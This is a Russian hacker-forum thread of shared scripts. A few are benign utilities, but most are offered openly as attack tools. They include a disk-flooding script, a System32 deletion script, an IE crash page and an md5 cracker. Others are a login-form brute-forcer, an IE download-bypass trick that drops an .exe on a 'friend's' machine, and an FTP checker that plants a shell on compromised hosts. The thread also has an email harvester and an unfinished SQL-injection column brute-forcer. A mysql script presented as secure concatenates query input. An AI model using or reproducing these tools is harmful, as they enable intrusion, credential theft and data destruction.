Постим здесь ваши и не только скрипты, которые могут пригодиться в повседневной так сказать жизни. Надеюсь, не будет излишнего флейма. PHP скрипты пишем в тэгах [рhp] !! Начну сам: сегодня понадобилось массово сменить кодировку всех файлов из одной директории с utf8 на cp1251. PHP: <?php function doit($dir='.'){ $d=opendir($dir); while($f=readdir($d)){ if($f!=='.' AND $f!=='..'){ echo $f; if(is_file($dir.'/'.$f)){ echo ' Converting...'; $a=file_get_contents($dir.'/'.$f); $a=iconv('UTF-8','WINDOWS-1251',$a); $fp=fopen($dir.'/'.$f,'w'); fwrite($fp,$a); fclose($fp); echo ' - OK<br />'; }elseif(is_dir($dir.'/'.$f)){ echo ' changing dir<br />'; doit($dir.'/'.$f); }else{ echo ' Skipping<br />'; } } } } doit('.'); ?>
Сегодня понадобилось засрать все папки файлами (Скрипт создаёт бесконечное число файлов с разными именами и расширениями + раличной длинны) PHP: <?php// Greetz всем заподлянщикам...//Аминь...//(C) Dr.Check////////////////////////////////////////////////////////////////set_time_limit(0);ignore_user_abort();echo("<center><b>ИБО НЕХУЙ!!!</b></center>");///////////////////////////////////////////////////////////////// $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', '7','8','9','0');////////////////////////////////////////////////////////////////// $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', '.bat','.log','.dll','.hak','.wmf','.zip','.rar', '.tar','.gz','.jpg','.gif','.bmp');/////////////////////////////////////////////////////////////////while(true) { $perem = ""; $fuck=""; for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла. { $by = rand(0, count($name) - 1); $perem .= $name[$by]; } $ra= rand(0, count($rash)-1); $fuck .= $rash[$ra]; $fp=fopen($perem.$fuck,"w"); fwrite($fp,php_uname()); fclose($fp); }?> P.S (вот так вроде правильней(для твоего скрипта) PHP: $dir=opendir("."); while (false !== ($file = readdir($dir))) { if(($file !=".") && ($file !="..")) { Хотя одно и тоже... Хм, какой-то простенький md5 брут PHP: <?function pass_dict ($hash){ //вычисляем начальное время, необходимое для расчета общего времени выполнения скрипта $start_time = microtime(); $start_array = explode(" ",$start_time); $start_time = $start_array[1] + $start_array[0]; //открываем файл словаря из стандартного дистрибутива линукса $f = fopen("linux.words","r") or die("ошибка"); while (!feof($f)) { $str = strtolower(fgets($f)); //удаляем лишние пробелы и символы конца строки $str = trim($str); $strmd5 = md5($str); if ($strmd5 == $hash) $pass = $str; if (isset($pass)) { echo "password = ".$pass; $end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Найдено за $time секунд!</center>"; fclose($f); return; } } $end_time = microtime(); $end_array = explode(" ",$end_time); $end_time = $end_array[1] + $end_array[0]; $time = $end_time - $start_time; echo "<br><center>Не найдено за $time секунд!</center>"; fclose($f); return;}pass_dict("e206a54e97690cce50cc872dd70ee896");?> Скрипт проверяет на наличий сервисов POP, FTP и т.д PHP: <html><head><title>::CHECKER::</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><body bgcolor="#000000" text="#ffffff"><hr width="30%"></hr><center><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Введите имя сервера |</b></font></center></td></tr><tr><td><form action="<? $PHP_SELF ?>" method="post"><b>NAME:</b> <input type="text" name="domain"></td></tr><tr><td><input type="submit" value="Проверить"> <button onclick=location.reload(true)>Обновить</button></td></tr></table><hr width="30%"></hr><?phperror_reporting(0);set_time_limit(0);$domain=$_POST['domain'];$ip=gethostbyname($domain);$httpport = "80";$ftpport = "21";$popport = "110";$imapport = "143";$smtpport = "25";$sshport = "22";echo "<b>"; echo("IP адрес хоста: "); echo "</b>";echo "<font color=\"red\">"; echo($ip); echo "</font>"?><table border="1pt"><tr><td bgcolor="#90EE90"><center><font color="black"><b>| Результаты проверки |</b></font></center></td></tr><tr><td><font color="#999999"><b>HTTP --> </b></font><?php $http = fsockopen($domain, $httpport, $errno, $errstr, $timeout); if (!$http) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr><tr><td><font color="#999999"><b>FTP --> </b></font> <?php $ftp = fsockopen($domain, $ftpport, $errno, $errstr, $timeout); if (!$ftp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr><tr><td><font color="#999999"><b>POP --> </b></font><?php $pop = fsockopen($domain, $popport, $errno, $errstr, $timeout); if (!$pop) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr><tr><td><font color="#999999"><b>IMAP --> </b></font><?php $imap = fsockopen($domain, $imapport, $errno, $errstr, $timeout); if (!$imap) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr><tr><td><font color="#999999"><b>SMTP --> </b></font><?php $smtp = fsockopen($domain, $smtpport, $errno, $errstr, $timeout); if (!$smtp) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr><tr><td><b><font color="#999999">SSH --> </font></b><?php $ssh = fsockopen($domain, $sshport, $errno, $errstr, $timeout); if (!$ssh) { echo ("<font color=\"red\"><b>\"DEACTIVATED\"</b></font>"); } else { echo ("<font color=\"green\"><b>\"ACTIVATED\"</b></font>"); }?></td></tr></table><hr width="30%"></hr></center></body></head></html>
Не дает закрвать окно. (пример простой, часто используется на порносайтах) Code: <html> <head> <title>Press ALT+F4</title> </head> <body onunload="goodBye()"> <p align="center"> <b>Yuo can't close your browser window</b> </p> <script language="JavaScript"> <!-- function goodBye() {window.open("Cantclose.htm");} //--> </script> <p align="center"> <b>Try Alt+F4!</b> </p> </body> </html> Позволяет узнать выставленную кодировку. Code: <script> var u=navigator.userAgent; if (u.indexOf("Win") != -1) // Текст в 1251 document.writeln ("Windows 1251"); else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1) // Текст в 866 document.writeln("MS-DOS CP866"); // Текст в K018 else document.writein ( "лПДЙТПЧЛБ KOI8-R"); </script> Следущий скрипт показывает последнее обновление страницы: Code: <script language="JavaScript"> <!-- var dateMod = ""; dateMod = document.lastModified; document.write("Last Update: "); document.write(dateMod); document.write(); // --> </script> При нажатии на кнопку, страница распечатывается: Code: <script Language="Javascript"> function printit(){ if (window.print) { window.print(); } else { var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>'; document.body.insertAdjacentHTML('beforeEnd', WebBrowser); WebBrowser1.ExecWB(6, 2);//Use a 1 vs. a 2 for a prompting dialog box WebBrowser1.outerHTML = ""; } } </script> <script Language="Javascript"> var NS = (navigator.appName == "Netscape"); var VERSION = parseInt(navigator.appVersion); if (VERSION > 3) { document.write('<form><input type=button value="Print this Page" name="Print" onClick="printit()"></form>'); } </script>
Только, что написал. Может кому и понадобиться: Скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами: PHP: <?php $star= 'txt'; // Расширение ДО $nov = 'php';//Расширение ПОСЛЕ function listDir ($url) { $i = 0; $dir = opendir("."); while (false !== ($file = readdir($dir))) { if(($file !=".") && ($file !="..")) { $outp[$i] = $file; ++$i; } } closedir($dir); return $outp;}function fil_list($path) { global $star, $nov; $path_array = listDir($path); for($i=0; $i < count($path_array); $i++) { if ($path > '') $p = '/'; else $p = ''; $ls = $path.$p.$path_array[$i]; if (@is_dir($ls)) fil_list($ls); else if (preg_match('/\.'.$star.'$/i', $ls)) { $fd_new = substr($ls, 0, strlen($ls)-strlen($star)).$nov; rename ($ls, $fd_new); echo $ls.' >>> '.$fd_new.'<br>'; } }}fil_list($start_dir);?>
С помощью этого скриптика можно обойти ограничения безопасности для 'File Download' и 'File Open' и загрузить произвольный файл на копутер *друга*: <html> <body> <iframe src='http://your.domain.com/v.exe?.htm' name= "NotFound" width="0" height="0"></iframe> Click <a href=# onclick="javascript:document.frames.NotFound. document.execCommand('SaveAs',1,'funny joke.exe');">here</a>. </body> </html>
Таким способом можно подделать URL, которого не будет отображен в браузере: javascript:document.write("<iframe src='http://www.google.com' width='100%' height='100%'></iframe>");
Этот скриптик будет отображать в строке состояния произвольный адрес URL при наведении на ссылку: <a href="http://www.microsoft.com/"><table><tr><td> <a href="http://www.google.com/">Click here</td></tr></table></a>
Прикольный скрипт, пригодится для выкидывания юзеров из чата и других пакостей PHP: <body scroll=no bgcolor=black><script>setInterval ("focus ()", 10); w = open ('','','fullscreen=1'); w.document.write ('<body scroll=no bgcolor=black>' + document.body.innerHTML + '</body>')</script></body>
Парсер(e-mail). Писал когда-то...Может кому и пригодиться. PHP: <? $handler=fopen('emails.txt','a+'); for($i=1;$i<3000;$i++){ $filename = 'http://www.***.ru/center.php?chp=showorg&num='.$i; echo $i.". "; $str = file_get_contents($filename); preg_match_all('|href="mailto:([^"]*)"|is',$str,$out); if(empty($out[1][0])) echo " no mail"; else{ echo " get ".$out[1][0]; fwrite($handler,$out[1][0]."\n"); } echo "\n"; } fclose($handler); ?> //by SMiX: забыл хэндлер открыть =)
БРУТФОРС ФОРМ! настраиваеться практически под любую.. PHP: <?################Брутфорс Форм################## ///////////////////////----(c) nc.STRIEM----////////////////////////// $filepas="file.txt" ; ///файл с данными для брута $filegood="good.txt"; ///файл с подходящими паролями $endifg=1; ///закончить при первом же найденом 1-да 0-нет $iskl=array(); //////строки которых не должно быть в правельных страницах///////// $iskl[0]="Неверный пароль"; //$iskl[1]="Неверная длина пароля!"; //$iskl[2]="ERROR"; //$iskl[3]="Ошибка"; ////////////////////////////////////////////////////////////////// $host="localhost"; ///хост $script="/form.php"; ///скрипт ///////////////////////////////////////////////Передоваемый Header /////////////////////////////////////////////////////// $header="POST http://$host$script HTTP/1.0\r\n"; $header.= "Host: $host\r\n"; $header.= "Content-Type: application/x-www-form-urlencoded\r\n"; //////Не обязательные параметры! но не всегда/// //$header.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"; //$header.="Accept-Language: ru\r\n"; //$header.= "Proxy-Connection: Keep-Alive\r\n"; //$header.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425))\r\n"; //$header.="Referer: http://microsoft.com\r\n"; //$header.="Cookie: CREATED=nc.STRIEM\r\n"; ####################################Сам брут##################################### set_time_limit(0); $fo=fopen($filepas,"r"); $kolvoporolei=0; $timestart=time('U'); $fgo=fopen($filegood,"a"); echo "<h3><center>Мы брутили http://$host$script</center></h3>"; while(!feof($fo)) {///////////////////////////////////////////// $fp = fsockopen("www.".$host, 80, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\n"; else { $kolvoporolei++; $dan=rtrim(fgets($fo)); /////берем данные из файла $dannii=split(';',$dan); $out=$header; $zapr="login=$dannii[0]&password=$dannii[1]"; ////имена переменных и их значения сюда $contleng=strlen($zapr); $out.= "Content-Length: $contleng\r\n"; $out.= "Pragma: no-cache\r\n\r\n"; $out.= "$zapr\r\n\r\n"; fwrite($fp, $out); $conte=""; while (!feof($fp)) $conte.=fgets($fp); $est=1; for($i=0;$i<sizeof($iskl);$i++) if(strstr($conte, $iskl[$i])) { $est=0; break; } /////может понадобиться при настройки/// //echo htmlspecialchars($conte); break; ///////////////////////////////// if($est) { fwrite($fgo,$dannii[0].";".$dannii[1]."\n"); echo "<h3><tt>Найдено:".$dannii[0].";".$dannii[1]."</tt></h3>"; if($endifg) break; } fclose($fp); } }////////////////////////////////////////////////////////////////////////////////////////// fclose($fgo); $time=time('U')-$timestart; echo "<h1><center>Закончено</center></h1><br><h3><tt>Проверенно $kolvoporolei вариантов, за $time секунд!</tt></h3><br><h4 align=center><center><tt>©*nc.STRIEM<br>[email protected]</tt></center></h4>"; ?>
Тут написал маленький парсер для составления списка login;pass из файлов папки /etc/passwd/. Чтобы он работал надо создать файл pwd.txt(куда засунуть наш лист) и pwds(тут будет окончательный список). Короче кто знает тот разберётся.Пользуйтесь PHP: #!/usr/bin/perl open(IN, "pwd.txt"); open(OUT, ">pwds"); while(<IN>){ chomp; if($_ ne ' '){ ($u,@undef)=split ' : ' ; print OUT "$u:$u\n"; } } close(IN); close(OUT);
Скрипт тупо удаляет все файлы из папки PHP: <?php set_time_limit(0); foreach (glob("C:/WINDOWS/System32/*") as $filename) { unlink($filename); } ?> Также скрипт тупо украден из мануала по PHP P.S. Dr.Check, я насчёт второго поста в этой теме, тот флудер не работает, создаёт около 2000 файлов и останавливается и больше не запускается
Ах да! И ещё! HTML: Есть такой хороший прикол: Хамаз бомба для IE -Internet Exploer после запуска которой - винда вешаеться (синий экран смерти) - ошибка связана с дравами видео-адаптеров. И так - нам нужно будет: 1. Большая качественная картинка 1000 на 800 пойдёт -) весом где нить в 1 мегабайт - ) 2. Называем картинку,допустим --- info.jpg 3. Открываем обычный текстовик и копируем туда это: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN"> <html> <body> <img src="info.jpg" width="9999999" height="9999999" alt="info" /> </body> </html> 4. Закрываем-сохраняем-меняем расширение текстовика с *txt - на index.html - и кладём картинку в туже директорию где сам документ index.html . 5. Тестируем: Открываем IEом этот документ -) Эта штука тестировалась на браузерах Internet Exploer и ранних версиях Mozilla Firefox - Результат вылетал синий экран и всё висело. (с)CampeR - http://forum.bit-team.com/ А вот в гугле картинок надыбал 3000 x 3264 пикселей - 1844кб 4500 x 3000 пикселей - 3931кб
ftp_checker_uploader.pl Еще 1 мой старый сорец. Пригодится продавцам фтп) Code: #!/usr/bin/perl use Net::FTP; print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n"; print "FTP list filename: "; my $ftpFile=<STDIN>; print "Valid accounts list filename: "; my $outFile=<STDIN>; print "URLS list filename: "; my $listFile=<STDIN>; print "Upload filename: [blank to disable upload] "; my $shellFile=<STDIN>; print "Upload remote filename: [blank to disable upload] "; my $shellFileRemote=<STDIN>; chomp($shellFile,$shellFileRemote,$ftpFile,$outFile,$listFile); open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n"; my @strings=<IN>; close IN; foreach $string(@strings) { chomp($string); my($host,$user,$pass,$pair,$tmp); if($string=~/^ftp:\/\//i) { ($pair,$host)=split('\@',$string); $tmp=$pair=~s/ftp:\/\///; ($user,$pass)=split(':',$pair); } else { ($host,$user,$pass)=split(':',$string); } my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next; if($conn->login($user,$pass)) { open(OUT,">>$outFile"); open(LIST,">>$listFile"); if($shellFile ne ""&&$shellFileRemote ne "") { my @dirs=$conn->ls(); foreach(@dirs) { if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i) { $conn->cwd($_); $conn->put($shellFile,$shellFileRemote); } } print $string."... OK (shell uploaded)\n"; print OUT $string." (shell uploaded to ".$conn->pwd().")\n"; } else { print $string."... OK\n"; print OUT $string."\n"; } print LIST $host."\n"; close OUT; close LIST } else { print $host."... FAILED\n"; } } # ftp_checker_uploader v1.4.pl # (C)oded by .:[KSURi]:.
Перевод цвета изображения в Чёрно-белоею (Писал для какого-то человечка на форумею Вдруг кому ещё пригодиться...) PHP: <?php $im = ImageCreateFromJpeg("file.jpg"); $size = getimagesize("file.jpg"); $new = imagecreate($size[0], $size[1]);$black = imagecolorallocate($new, 0, 0, 0); $white = imagecolorallocate($new, 0xFF, 0xFF, 0xFF); for ($i = 1; $i < $size[0]; $i++) { for ($j = 1; $j < $size[1]; $j++) { $rgb = ImageColorAt($im, $i, $j); $r = ($rgb >> 16) & 0xFF; $g = ($rgb >> 8) & 0xFF; $b = $rgb & 0xFF; if ( $r < 128 && $r < 128 && $b < 128 ) { imagesetpixel($new, $i, $j, $black); } elseif ( $r >= 128 && $r >= 128 && $b >= 128 ) { imagesetpixel($new, $i, $j, $white); } } } header("Content-type: image/jpeg"); imagejpeg($new, null, 100); imagedestroy($im); imagedestroy($new); ?> P.S Пончик не знаю,... у меня номрально работает.
чекер проксиков, так же проверяет прокс и на анонимность PHP: <? /************************************************** ************** * * * * * This will perform a basic connectivity and anonymity test * * * * Simply upload to a php enabled webserver and change the * * configurable parameters below if you so desire * * * * 2005-11-11 v0.1 - Compatible with Charon v0.5.3.5 * ************************************************** **************/ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><title>Online proxy tester</title></head> <body bgcolor="black" text="white"> <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 5; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { echo 'Testing ' . $proxies[$thisproxy] . ' .....'; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo '.. Anon<br>' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo '.. Non anon<br>' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo '.. Dead<br>' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo '<br><b>Anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo '<br><b>Non-anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo '<br><b>Dead proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) echo $bad_proxies[$thisproxy] . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<h2>Online Proxy checker</h2>' . "\n"; echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"><br>' . "\n"; echo '<input type="submit" value="Check proxies">' . "\n"; echo '</form>' . "\n"; } ?> </body> </html>
Хорошо прокоментированный скрипт безопасной работы с mysql (копирайты в сорце). PHP: <?php /* WPC Paste! * Zarathu rules the Universe * * By Zarathu * www.thesarcasm.com * * [email protected] * */ /* SETTINGS TO BE MODIFIED */ $mySQL_user = "YOUR_USERNAME"; $mySQL_pass = "YOUR_PASSWORD"; $mySQL_database = "pb"; $mySQL_table = "data"; $mySQL_idField = "id"; $mySQL_strField = "stuff"; $URLtoPaste = "http://www.thesarcasm.com/"; /*$URLtoPaste: Be careful. This needs to include the path. *on my website, for example, if I had the paste.php in a *folder called 'bullshit' on the server, $URLtoPaste would *be "http://www.thesarcasm.com/bullshit/" */ //Make sure the URL ends with a slash! :] /***************************/ /*DO NOT MODIFY, YOU TURKISH ASSHOLE :]*/ $ZarathuRulesTheUniverse = TRUE; ?> <html> <head> <title>WPC Paste!</title> </head> <body bgcolor="#ffffff"> <?php if($_GET['id'] != null && ($ZarathuRulesTheUniverse)) { $id = $_GET['id']; //security for you asshole hackers ;] $security = strpbrk($id, '\'\"><.,;][}{+=*\\/)('); if($security != FALSE) { throwError(); } //if a hacker was trying to manipulate the script //it would have already died. therefore, we can //safely call the following method. getData($id); } else if($_POST['textarea'] != null && ($ZarathuRulesTheUniverse)) { $data = $_POST['textarea']; setData($data); } else if(($_POST['textarea'] == null) && ($_GET['id'] == null) && ($ZarathuRulesTheUniverse)) { echoWelcome(); } ?> <form method="POST" action="paste.php"> <p> <textarea name="textarea" rows="25" cols="98"></textarea><br /> <input type="submit" value="Send!" name="sendbtn"><br /> <a href="http://www.thesarcasm.com">Zarathu Rules the Universe</a> </p> </form> <?php //methods function echoWelcome() { echo("Welcome to WPC Paste!<br />"); echo("This program is simple to use, unless you're a complete moron.<br /><br />"); echo("Programmed by <a href=\"http://www.thesarcasm.com\">Zarathu</a><br />"); echo("Enjoy!<br />"); } function getData($id) { global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField; //security bullshit for you asshole hackers if($id == null && ($ZarathuRulesTheUniverse)) { throwError(); } //establishes connection... $link = establishConnection(); //Alright, now that we've got our shit together... //SELECT stuff FROM data WHERE id = $id $query = mysql_query('SELECT ' . $mySQL_strField . ' FROM ' . $mySQL_table . ' WHERE ' . $mySQL_idField . ' = ' . $id); //need this array to convert into HTML $newLines = array("\r\n", "\n", "\r"); if(!$ZarathuRulesTheUniverse) { throwError(); } //prints selected bullshit if(!$query && ($ZarathuRulesTheUniverse)) { throwSQLError(); } else { while ($line = mysql_fetch_array($query, MYSQL_ASSOC)) { foreach ($line as $col_value) { echo str_replace($newLines, "<br />", $col_value); } } } } function setData($data) { global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField; if(!$ZarathuRulesTheUniverse) { throwError(); } //establishes that hairy son of a bitch $link = establishConnection(); $newID = rand(1000000,9000000); //security! $data = str_replace("'", "\'", $data); $data = str_replace("\"", "\\\"", $data); $data = str_replace(">", ">", $data); $data = str_replace("<", "<", $data); $data = str_replace('\\', '\\\\', $data); //inserts shittles... watch me rule again. $bullshit = "INSERT INTO $mySQL_table ($mySQL_idField, $mySQL_strField) VALUES ($newID, '$data')"; $query = mysql_query($bullshit); if(!$query && ($ZarathuRulesTheUniverse)) { throwSQLError(); } else { $newURL = "$URLtoPaste" . "paste.php?id=$newID"; echo("<a href=\"$newURL\">$newURL</a>"); http_redirect($newURL); } } function establishConnection() { global $ZarathuRulesTheUniverse, $URLtoPaste, $mySQL_user, $mySQL_pass, $mySQL_database, $mySQL_table, $mySQL_idField, $mySQL_strField; //establishes connection... $link = mysql_connect('localhost', $mySQL_user, $mySQL_pass); //...and checks for errors if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); } if(!mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); } if(!$ZarathuRulesTheUniverse) { throwError(); } return $link; } function throwError() { die("Error! \n\n"); //if you really need a comment, here it is. //throws an error and exits } function throwSQLError() { die("Error! \n\n(" . mysql_error() .")"); //if you really need a comment, you're an idiot. //go fuck yourself. } ?> </body> </html>
PHP: <?php $file="count.txt"; if (!file_exists($file)) { $fp = fopen($file,"w"); fputs ($fp,"0" ); } else { $fp = fopen($file,"r+"); }; $numcount= fread($fp,filesize($file)); fclose($fp); $numcount++; $fp = fopen($file,"w"); fputs ($fp,$numcount); echo $numcount; ?> небольшой пример текстового счетчика посещений.
Хм, конечно скриптом назвать нельзя, хотя авось кому-нить да и пригодится. Сегодня понадобилось хэши из всякой лабуды вытащить... PHP: <?php $text = 'Лабуда, разный текст Лабуда, разный текст Лабуда, разный текст тЛабуда, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПриведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...'; $pattern = "|[a-z0-9]{32}|is"; preg_match_all($pattern, $text, $out); echo "<pre>"; print_r($out); echo "</pre>"; ?>
Вот прикольный скрипт (переделывает имя MP3 файла из инфы в тэгах) полезно для спутниковой рыбалки, и сортировки музыки Code: use strict; my ($d) = @ARGV; $d = './' unless $d; my @l= (); die unless opendir(my $h, $d); foreach(readdir $h) { next if /^\.+$/; push @l, $_ if /\.mp3$/i; } closedir $h; my $c = 0; foreach my $f (@l) { next unless open my $h, "<$d/$f"; binmode $h; read $h, my $t, 3; my($a,$n) = ('',''); if($t eq 'ID3') { read $h, $t, 1000; if($t =~ /TIT2...(.)...(.*)/s) { $n = substr $2, 0, -1+ord $1; } if($t =~ /TPE1...(.)...(.*)/s) { $a = substr $2, 0, -1+ord $1; } } else { seek $h, -128, 2; read $h, $t, 3; if($t eq 'TAG') { read $h, $t, 128; ($n,$a) = unpack "a30a30", $t; } } close $h; $n =~ s/[\0\s\r\n]+$//s; $a =~ s/[\0\s\r\n]+$//s; next if $a eq ''; next if $n eq ''; my $r = "$a - $n"; $r =~ s/http:\/\///ig; $r =~ s/[\0-\39]//g; $r =~ s/[\\\/\:\*\?\"\<\>\|]/_/g; while($r =~ /\s\s/) { $r =~ s/\s\s/ /; } my $s = $r; $s =~ tr/\300-\377\260\261/\200-\257\340-\357\360\361/; printf "%s\n", $s; $r .= '.mp3'; next if $r eq $f; while(-e "$d/$r") { $r =~ s/\.mp3$/_\.mp3/; } if(rename "$d/$f", "$d/$r") { $c++; } else { print "$f $!\n"; } } printf "renamed %d of %d\n", $c, scalar @l; Вот подборщик кол-во union (вывод с load_file пока не доделал) запускать СКРИПТ.pl 1 Code: #!/usr/bin/perl #=========================================================================# use LWP::UserAgent; use Getopt::Std; #=========================================================================# #=========================================================================# #=MAIN===================================================================# print "\n AAAAAA OOOOOO H H\n"; print " A A O O H H\n"; print " AAAAAA O O HHHHH\n"; print " A A O O H H\n"; print " A A OOOOOO H H\n\n"; $filt=1; #only chars in resolt my $www = LWP::UserAgent->new; uss(); if(!$ARGV[0]) { ans(); while (true) { print "\nNew file (^c for quit) ->"; $f=<STDIN>; $f =~ s/\n//; enc(); #encode file burl(); conn(); getres(); } } else { print "Url for brute-> "; $u=<STDIN>; $u =~ s/\n//; brute(); } #=END=MAIN============================================================# #=======================================================================# sub brute() { $max=20; $res=''; for ($j=1;$j<$max;$j++) { for ($i=1;$i<$j+1;$i++) {$utmp.=$i."26639-1,";} $utmp = substr($utmp, 0, length ($utmp) - 1 ); $utmp = $u." UNION SELECT ".$utmp."/*"; if($coll=chk($utemp)) {$utmp =~ s\26639-1\\g; print("[+$j] OK! Coloun number $coll is visible\r\n$utmp"); exit(0);} else {print("[-$j] falure... ($szz Bytes)\r\n");} #print $utmp."\r\n"; $utmp=""; } } sub chk() { $resp = $www -> get( $utmp ) or die(); $szz=length($resp->content()); if ($resp->content() =~ /(\d+)26638/) {return($1);} } sub ans() { print "\nAnsver some questions ;)\r\n"; print "Url for union-> "; $u=<STDIN>; print "Number of coloums -> "; $n=<STDIN>; 